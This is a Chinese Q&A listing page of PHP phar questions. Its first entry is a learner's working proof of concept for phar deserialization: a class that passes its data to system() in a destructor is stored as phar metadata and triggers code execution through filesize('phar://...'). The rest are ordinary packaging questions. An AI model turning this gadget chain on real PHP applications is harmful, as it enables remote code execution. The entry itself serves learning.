phar 相关问题

Phar是PHP存档格式。它类似于Java的JAR文件。

php phar 文件的“phar://”前缀

正在学习php phar反序列化(引入了BlckHat2010,成熟了BlackHat2018) # 创建_phar.php 我正在学习php phar反序列化(引入BlckHat2010,成熟BlackHat2018) # create_phar.php <?php class SomeClassTheAppLoaded { public $data = null; public function __construct($data) { $this->data = $data; } public function __destruct() { system($this->data); } } try { $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $object = new SomeClassTheAppLoaded('uname -a'); $phar->setMetadata($object); $phar->stopBuffering(); } catch (Exception $e) { echo $e->getMessage(); } 存档test.phar创建成功: $ php --define phar.readonly=0 create_phar.php 1>/dev/null 当发送到 file_exists 和 filesize 时会触发所需的漏洞 (uname -a): # vuln.php <?php class SomeClassTheAppLoaded { public $data = null; public function __construct($data) { $this->data = $data; } public function __destruct() { system($this->data); } } $size = filesize("phar://test.phar"); print_r("size = $size\n"); # uncomment will print file exists: 1 # $exists = file_exists("phar://test.phar"); # print_r("file exists: $exists\n"); 令我困扰的是返回的filesize是错误(而file_exists是正确) $ php vuln.php size = 0 Linux < ... omitted ...> -microsoft-standard-WSL2 < ... omitted ... > x86_64 GNU/Linux phar 的文件大小由 filesize('test.phar') 给出。 filesize('phar://test.phar')没有任何意义,因为phar是一个虚拟目录,并且目录的大小没有定义。 filesize('phar://test.phar/test.txt') 将返回 phar 中 test.txt 条目的大小。

回答 1 投票 0

phpcbf 抱怨缺少 CodeSniffer

问题 phpcbf 抱怨缺少 CodeSniffer,但它似乎在自己的 phar 中丢失了。 我的设置 Ubuntu 14.04 使用 ondrej ppa for PHP 5.6 这是我尝试安装的...

回答 1 投票 0

确定 PHP 文件是否作为 `phar` 存档的一部分运行

有没有办法在运行时确定 PHP 文件是否作为 phar 存档的一部分运行? 即,本机实现可能看起来像这样 函数 isRunningAsPhar() { $first_i...

回答 3 投票 0

如何在Mac上创建phar文件?

我想打包我的文件夹 - phar pack -f result.phar /Users/me/FolderToPack/ 但 OSX 返回以下错误 - 创建 phar 文件被 ini 设置“phar.readonly”禁用。 我尝试过...

回答 1 投票 0

composer php phar 扩展缺失

我尝试执行这一行 php artisan jetstream:安装 livewire 但退回了这个。 缺少 PHP 的 phar 扩展。 Composer 要求它运行。启用扩展或重新编译 php 而不使用 --d...

回答 1 投票 0

如何在windows上安装phive

我想为我的项目安装 phive,但我不理解下面编写的以下代码: wget -O phive.phar https://phar.io/releases/phive.phar wget -O phive.phar.asc https://phar.io/

回答 0 投票 0

How to bypass typo3 phar stream wrapper and use Php's stream handlers in Joomla 4.2 winth php 8.1

我将 Joomla 从 3.10.11 升级到 4.2。从那时起我收到错误: “Phar://httpful.phar/....../Response.php”中未捕获的 TYPO3\PharStreamWrapper\Exception 意外文件扩展名 ...

回答 0 投票 0

Amazon Instant Access PHP SDK phar 文件

我正在尝试使用 https://github.com/amzn/amazon-instant-access-sdk-php 通过 php 进行亚马逊即时访问。我对 phar 文件不是很熟悉;但我开始弄明白了。 我包括

回答 1 投票 0

Composer PSR-4自动加载接口弃用声明

我在理解此简单界面的问题时遇到了麻烦。

回答 1 投票 0

PHP:创建一个包含符号链接和空目录的tar归档文件

我想要一个简单的PHP脚本(无外部依赖项),该脚本能够创建目录的逐字存档。该目录可以包含任何有效内容,包括空目录...

回答 1 投票 0


如何在Windows中完全安装依赖项或使用composer

我已经通过Windows安装程序安装了composer,并为wamp的php设置了正确的php路径变量,现在我创建了composer.json(和更高版本的.phar)文件,并尝试安装依赖项...

回答 4 投票 8

打包PHP应用程序

我正在尝试从Web应用程序中创建一个.phar文件。按照php文档的示例,我为此尝试了以下方法。

回答 5 投票 4

进程分叉期间发生PHAR内部损坏(CRC32不匹配)

我是ko-worker库的开发人员。我将带有phar可执行文件的功能添加为守护程序应用程序。并发现了与phar和进程派生undex linux的奇怪行为。每次主进程fork` ...

回答 1 投票 6

PHP PHAR:再一次以正确的方式创建.phar

我正在尝试创建带有可执行存根的PHAR存档。代码:buildFromDirectory('files /'); $ phar-> setStub($ phar-> createDefaultStub(...

回答 2 投票 2

PHP PHAR的文件名带有多个点时出现问题

我正在尝试从tar.gz文件中提取一些文件。但是文件名似乎引起了问题:xxx.some-random-number.tar.gz当我使用\ PharData :: isValidPharFilename('xxx.some-random-number.tar ....

回答 1 投票 0

包括不带.phar扩展名的PHP PHAR

我在将PHAR包含到我的应用程序引导代码中时遇到麻烦。我正在尝试包括phpunit / phpunit PHAR,以在我的应用程序中提供PHPUnit类。鉴于我有...

回答 1 投票 1

Php phar nginx未指定输入文件

要升级cms,我有一个php文件,它是一个phar文件(https://www.cmsmadesimple.org/downloads/cmsms/),我将其放在网站的根目录中。访问该文件时,它是一个索引。 php添加在末尾...

回答 2 投票 2

PHP PHAR出现意外问题

在使用PHP 5.3 PHAR档案进行了一些测试/脚本/播放之后,我发现了一些问题。 glob PHAR不适用于glob。都不作为包装器(http://www.php.net/manual/zh/phar.using.stream ....

回答 2 投票 6

将Web应用程序(ZF2)转换为PHAR

我知道如何将php文件转换为phar文件。 $ phar = new PHAR('app.phar'); $的药> addFile( 'file1.php'); $的药> addFile( 'file2.php');我认为它只适用于将POPO转换为......

回答 1 投票 5

© www.soinside.com 2019 - 2024. All rights reserved.